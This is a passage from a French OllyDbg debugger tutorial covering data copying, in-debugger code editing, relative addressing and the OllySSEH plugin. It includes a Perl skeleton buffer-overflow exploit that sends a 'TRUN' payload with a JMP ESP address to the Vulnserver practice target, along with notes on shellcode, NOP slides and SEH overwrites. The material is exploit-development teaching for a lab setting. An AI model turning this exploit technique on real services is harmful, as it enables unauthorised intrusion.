obtiendrez l'adresse, l’image hexadécimal, le désassemblage et un

commentaire.

Comme je l'ai dit, il s'agit essentiellement d'une représentation

textuelle de ce que vous voyez à l'écran.

Page 83: Ollydbg - Bienvenue [Root Me

Pour copier de cette manière, sélectionnez certaines données à l'aide

de la souris, puis cliquez avec le bouton droit et sélectionnez Copy →

To clipboard (Copier → Vers le presse-papiers) ou Copy → To file

(Copier → Vers un fichier), selon l'endroit où vous souhaitez que les

données aillent.

Pour obtenir les données dans le bon format, vous devez évidemment

régler votre mode d'affichage, comme décrit précédemment, sur le

paramètre approprié.

Vous constaterez que la plupart des fenêtres d'affichage d'OllyDbg

offrent également des variantes de cette option, donc si vous voulez

une copie texte de presque tout ce que vous voyez à l'écran, vous

pouvez probablement l'obtenir en sélectionnant les données et en

cliquant avec le bouton droit.

Comme exemple de ce à quoi cela ressemble, voici un exemple de

texte copié à partir de l’image mémoire en mode désassembleur.

00401130 > $ 55 PUSH EBP

00401131 89E5 MOV EBP,ESP

00401133 83EC 18 SUB ESP,18

00401136 C70424 0100000>MOV DWORD PTR SS:[ESP],1

La deuxième méthode pour copier des données est la copie binaire.

Cette méthode de copie est uniquement disponible dans les vues

d’image mémoire et de désassembleur et copie essentiellement dans le

presse-papiers une représentation délimitée par des espaces des

valeurs hexadécimales pour chaque octet sélectionné.

Ceci est disponible en sélectionnant certaines données dans l’image

mémoire, en cliquant avec le bouton droit et en sélectionnant Binary

→ Binary copy (Binaire → Copie binaire).

Ce qui suit montre le texte généré en effectuant une copie binaire sur

les mêmes données qui ont été utilisées pour produire l'exemple de

copie basé sur le texte ci-dessus.

55 89 E5 83 EC 18 C7 04 24 01 00 00 00

Page 84: Ollydbg - Bienvenue [Root Me

L'accès aux données dans ces formats peut s'avérer très utile lors de

l'écriture de modifications logicielles. J'utilise souvent le format de

copie binaire pour alimenter les données dans un script qui vérifie si le

shellcode envoyé à un programme a été modifié.

Modification du code, de la mémoire et des registres

Une fonctionnalité, particulièrement intéressante d'OllyDbg, vous

permet de modifier les valeurs de la mémoire, des registres et de la

pile pendant le débogage d'un programme.

Ceci est extrêmement utile lors de l'écriture de modification de code

ou de shellcode car elle vous permet de modifier rapidement les

données en mémoire après une exception si vous réalisez que vous

avez fait une erreur dans les données ou le shellcode déjà fournis à

l'application.

Elle fournit également un moyen très rapide de trouver des opcodes

pour des instructions particulières si vous devez ajouter un shellcode

personnalisé à un code modifié.

Pour démontrer comment cela peut fonctionner, nous utiliserons le

code squelette d'exploitation suivant - enregistrer sous

skeletonexploit.pl.

#!/usr/bin/perl

use IO::Socket;

if ($ARGV[1] eq '') {

die("Usage: $0 IP_ADDRESS PORT\n\n");

}

$baddata = "TRUN ."; # sets variable $baddata to "TRUN ."

$baddata .= "\x90" x 2006; # append 2006 \x90 bytes to

$baddata

$baddata .= pack('V1', 0x625011AF); # address of "JMP ESP"

instruction from essfunc, little endian

$baddata .= "\xcc" x 100; # append 100 \xcc INT3

breakpoints to $baddata

$socket = IO::Socket::INET->new( # setup TCP socket –

$socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 – IP

Address

Page 85: Ollydbg - Bienvenue [Root Me

PeerPort => "$ARGV[1]" # command line variable 2 – TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from

$socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($baddata); # send $baddata variable via

$socket

Ce code est essentiellement le début d'une modification de code pour

une vulnérabilité associée à la première exception que nous avons

examinée précédemment dans ce guide.

Lorsqu'il est utilisé contre vulnserver exécuté dans le débogueur, il

doit rediriger l'exécution du code vers le premier des 100 caractères « \

xCC » envoyés au programme.

Ne vous inquiétez pas de la façon dont j'ai écrit ce code pour le

moment, ni de la manière dont la redirection vers l'instruction INT3

s'est réellement produite, je couvrirai cela dans un prochain article.

Pour l'instant, redémarrez simplement Vulnserver dans le débogueur,

utilisez F9 pour le lancer, puis exécutez le script comme suit :

C:\Work>perl skeletonexploit.pl 127.0.0.1 9999

Votre débogueur doit suspendre l'exécution, avec le volet de

désassembleur montrant quelque chose comme ci-dessous.

Page 86: Ollydbg - Bienvenue [Root Me

Tous ces caractères « \xCC » que nous avons envoyés au programme

en utilisant le script skeletonexploit.pl sont affichés directement dans

le débogueur, et notre programme les exécute en fait sous forme de

code.

Si nous le voulions, nous pourrions remplacer les caractères « \ xCC »

dans notre script skeletonexploit.pl par du code qui remplirait une

autre fonction, mais pour le moment, ce que nous voulons faire, c'est

utiliser cette opportunité pour montrer comment nous pouvons

modifier directement les données dans le débogueur.

Le « \ xCC » est bien sûr l'opcode pour une instruction trap du

débogueur INT3, comme mentionné dans la section précédente de ce

tutoriel sur l'assembleur, et c'est pourquoi le débogueur s'est arrêté

lorsqu'il a exécuté la première de ces instructions.

La première méthode d'édition de code que nous allons essayer est

l'assembleur direct, où nous sélectionnons une instruction et

fournissons du code d'assembleur à placer à cet emplacement.

Si le code assembleur que nous fournissons prend plus de place que

l'instruction que nous avons sélectionnée, les instructions suivantes

supplémentaires seront écrasées, et si l'instruction finale écrasée a des

octets restants (par exemple, si l'instruction finale fait 4 octets mais

nous n'en avons besoin que de deux octets pour terminer l'instruction

que nous ajoutons), tout espace disponible sera rempli par des NOP si

la case « Fill with NOP » (Remplir de NOP) est laissée cochée.

Pour l'essayer, double-cliquez sur l'instruction INT3 actuellement

sélectionnée (assurez-vous de cliquer sur l'instruction elle-même, pas

sur les colonnes d'adresse, d'opcode ou de commentaire, car cela aura

un effet différent).

Page 87: Ollydbg - Bienvenue [Root Me

Dans la fenêtre Assembler qui apparaît, tapez ce qui suit.

ADD EAX,5

Voir la capture d'écran suivante.

Appuyez sur le bouton Assemble (Assembler), puis sur Cancel

(Annuler) pour vous débarrasser de la prochaine fenêtre Assembler

qui apparaît.

Vous devriez maintenant voir quelque chose comme ce qui suit dans

votre volet de désassembleur.

La nouvelle instruction est affichée en rouge.

Si vous étiez curieux de connaître les opcodes qui compromettent

cette instruction d'assemblage, vous saurez maintenant qu'ils sont :

" \x83 \xC0 \x05 "

Vérifiez la deuxième colonne de gauche dans le volet du

désassembleur. C’est séparé dans l'affichage, avec un espace entre le

"C0" et le "05", qui indique que " \x83 \xC0 " est le "ADD EAX", et

le " \x05 " est la valeur à ajouter (au format hexadécimal).

Voici une possibilité de découvrir rapidement des opcodes pour des

instructions d'assembleur données, afin que vous puissiez les utiliser

Page 88: Ollydbg - Bienvenue [Root Me

dans vos codes, c’est l'un des avantages de cette fonctionnalité

d'édition de code en tant que rédacteurs de modification de code.

Prenez note de la valeur stockée dans le registre EAX, puis appuyez

sur la touche F7 pour parcourir l'exécution de cette instruction

nouvellement ajoutée.

Vous devriez alors voir que la valeur de EAX change de 5, et le

registre EAX sera coloré en rouge pour indiquer que sa valeur a

changé lors de l'exécution de la dernière instruction.

La deuxième méthode d'édition de code que nous allons essayer

d'utiliser est une édition binaire directe des données dans le volet de

désassemblage.

Cela peut être un moyen rapide pour nous de traduire les valeurs

d'opcode en leurs instructions de langage assembleur équivalentes, et

peut également nous permettre de modifier les valeurs des instructions

existantes (pour faire des tests, par exemple).

Essayons maintenant. Cliquez avec le bouton gauche de la souris pour

sélectionner l'instruction suivante dans le volet du désassembleur

après l'instruction « ADD EAX, 5 » que nous venons de rajouter (cette

instruction devrait avoir son adresse mise en évidence avec un fond

noir pour indiquer que ce sera la prochaine instruction exécutée par le

CPU).

Le clic droit, et dans le menu qui apparaît, sélectionnez Binary →

Edit (Binaire-> Modifier), ou vous pouvez appuyer sur Ctrl-E.

Page 89: Ollydbg - Bienvenue [Root Me

Dans la zone Modifier le code qui apparaît, remplacez les données

hexadécimales existantes de «CC» par «54», comme illustré ci-

dessous. De notre leçon d'assemblage plus tôt dans ce tutoriel, nous

savons que l'opcode de " \x54 " se traduit par une instruction :

" PUSH ESP ".

Cliquez sur OK. Une instruction PUSH ESP apparaît dans le volet de

désassemblage :

Sélectionnez maintenant la prochaine instruction INT3,

immédiatement après celle que nous venons d'éditer, et effectuez une

autre édition binaire, cette fois en remplaçant « CC » par « C3 ».

Comme nous l'avons appris précédemment, cet opcode représente un «

RETN ».

Page 90: Ollydbg - Bienvenue [Root Me

Cliquez sur OK.

Votre volet de désassembleur doit ressembler à ça :

Appuyez maintenant sur F7 pour exécuter l'instruction PUSH ESP.

Vous devriez remarquer que la valeur de ESP sera poussée sur la pile.

Appuyez à nouveau sur F7.

L'instruction RETN s'exécutera, ce qui POP la première entrée de la

pile et en redirigera l'exécution.

Tout cela était très bien et bien, mais je suis sûr que vous vous

demandez maintenant pourquoi devriez-vous vous soucier de l'édition

binaire alors que l'assembleur direct semble tellement plus facile.

Eh bien, il y a au moins un domaine dans lequel l'utilisation des

opcodes est beaucoup plus efficace - les JMP et les CALL relatifs.

Disons que nous voulons ajouter du code pour effectuer un JMP de 8

octets à l'avance. Si vous vous souvenez de notre leçon précédente, les

instructions JMP ont été spécifiées en utilisant une adresse absolue

dans l'assembleur. Pour nous éviter d'avoir à calculer l'adresse 8 octets

à l'avance, nous pouvons simplement entrer directement l'opcode.

Sélectionnez le haut « INT3 » et les commandes « ADD, EAX, 5 »

dans le volet du désassembleur, puis cliquez avec le bouton droit et

sélectionnez Binary → Edit (Binaire → Modifier) dans le menu.

Page 91: Ollydbg - Bienvenue [Root Me

Le texte suivant apparaîtra :

Modifiez les valeurs hexadécimales dans la zone inférieure en :

« \xEB \x08 \x90 \x90 ».

Il s'agit de « \xEB \x08 » pour le « JMP 8 », avec deux NOP ajoutés à

la fin :

Cliquez sur OK.

Page 92: Ollydbg - Bienvenue [Root Me

Votre volet de désassembleur s'affichera comme ci-dessous :

OK, il a pris les opcodes que nous lui avons fournis et interprété cela

comme un " JMP SHORT " et a fourni une adresse absolue en

mémoire à laquelle accéder - nous n'avons pas eu besoin de calculer

l'adresse nous-mêmes pour ajouter ce code au débogueur.

En plus d'être utile pour les JMP et les appels relatifs, nous pouvons

également utiliser cette capacité d'OllyDbg pour désassembler des

données binaires chaque fois que nous avons besoin de trouver

l'équivalent d'assemblage de valeurs d'octets particulières.

Cela peut être utile lorsque nous devons trouver les instructions qui

contourneront les restrictions de caractères, afin d'atteindre des

objectifs tels que le décodage du shellcode ou la formation d'une série

de NOP (NOP Slide).

Bien que j'aie démontré l'édition des données uniquement dans le

volet du désassembleur, cela fonctionne également ailleurs dans la vue

CPU, vous permettant de modifier les valeurs de registre, les valeurs

d'indicateur, les valeurs de pile ainsi que toutes les données auxquelles

vous pouvez accéder à partir du volet d’image mémoire.

Dans les volets d’image mémoire et de désassembleur, vous avez

même la possibilité de faire des copies/coller binaires si le besoin s'en

fait sentir.

Ces fonctionnalités peuvent être très utiles lorsque vous écrivez et

testez un shellcode personnalisé.

Une mise en garde importante à mentionner concernant la

modification des données dans le débogueur de cette manière est que

Page 93: Ollydbg - Bienvenue [Root Me

toutes les modifications apportées de cette manière ne s'appliquent pas

en dehors de la session de débogage.

Ceci est utile comme support de fonctionnalité lors de la création d'un

code test, mais ne peut pas être utilisé dans le produit fini réel.

Aide au calcul des différences d'adresse relative

Si vous devez calculer la distance pour une instruction JMP ou

CALL relative, ou déterminer la taille d'une zone en mémoire pour

voir si elle est suffisamment grande pour le shellcode, vous pourrez

peut-être utiliser la fonction d'adressage de la mémoire relative

d'OllyDbgs.

Double-cliquez sur une entrée d'adresse n'importe où dans OllyDbg, et

la colonne d'adresse passera de l'affichage des adresses de mémoire

absolue à l'affichage du décalage relatif de chaque entrée par rapport à

l'adresse initialement cliquée.

La capture d'écran ci-dessus montre le volet de désassemblage après

avoir double-cliqué sur la deuxième adresse à partir du haut - celle

contenant la première instruction NOP en rouge.

Cette adresse particulière a ensuite été marquée avec l'indicateur

«==>», et les autres adresses sont marquées avec leur distance relative

par rapport à cette position.

L'entrée surlignée en gris est l'endroit où la première instruction JMP

SHORT atterrira (8 octets à partir du début de l'instruction suivant le

JMP).

Page 94: Ollydbg - Bienvenue [Root Me

Cette astuce d'adressage relatif fonctionne également dans les vues

d’image mémoire et le volet de la pile.

Essayez-le lorsque vous devez calculer les différences de mémoire !

Les Plugins (Utilitaires additionels)

OllyDbg dispose d'une architecture de plugin qui permet à des tiers

d'ajouter des fonctionnalités au débogueur en fournissant le code

nécessaire dans un fichier dll qui peut être placé dans le répertoire

OllyDbg.

Il existe un certain nombre de plugins OllyDbg disponibles en

téléchargement à partir du site OpenRCE à l'URL suivante :

http://www.openrce.org/downloads/browse/OllyDbg_Plugins

Dans cette section, je couvrirai brièvement l'utilisation d'un plugin

particulièrement utile lors de l'écriture de code SEH : OllySSEH.

Ce plugin est disponible ici : Télécharger et vous permet de voir

facilement quels modules chargés avec une application peuvent être

utilisés pour fournir des adresses de remplacement lors de l'écriture

d'un code SEH.

Pour installer le plug-in, prenez simplement le fichier OllySSEH.dll

du répertoire \ollysseh\Project\Release\ dans le fichier zip et copiez-

le dans le répertoire principal du programme OllyDbg.

Redémarrez ensuite OllyDbg.

Page 95: Ollydbg - Bienvenue [Root Me

Dans la section, Plugin, maintenant vous devez voir SafeSEH :

Pour utiliser le plugin efficacement, vous démarrez votre programme

cible et utilisez la touche F9 pour lui permettre de s'exécuter dans le

navigateur.

Les modules configurés pour se charger avec le programme seront

chargés dans la mémoire et le débogueur, ce qui leur permettra d'être

analysés par le plugin.

Une fois le programme en cours d'exécution, utilisez le menu Plugins,

SafeSEH → Scan / SafeSEH Modules option pour scanner les

modules.

Faire cela pour vulnserver.exe affiche la sortie suivante.

Les entrées en rouge, qui ont un mode SEH « /SafeSEH OFF » sont

les plus appropriées pour une utilisation avec les modifications de

codes SEH - n'importe quelle adresse de ces modules peut être utilisée

comme une adresse de remplacement SEH.

Ces plugins OllyDbg ne fonctionneront pas dans « Immunity

Debugger » ni dans « OllyDbg version 2 ».

Immunity Debugger possède son propre moteur Python, et un certain

nombre de scripts de plugins basés sur Python ont été fournis qui

permettent de rassembler des types similaires d'informations.

Page 96: Ollydbg - Bienvenue [Root Me

Vous devez jeter un œil sur les autres plugins utiles OllyDbg, qui

peuvent vous aider dans votre travail de modification de code.

Le programme OllyDbg nous sera encore utile lorsque nous étudions

d’autres futurs articles exploitant les vulnérabilités du programme

Vulnserver.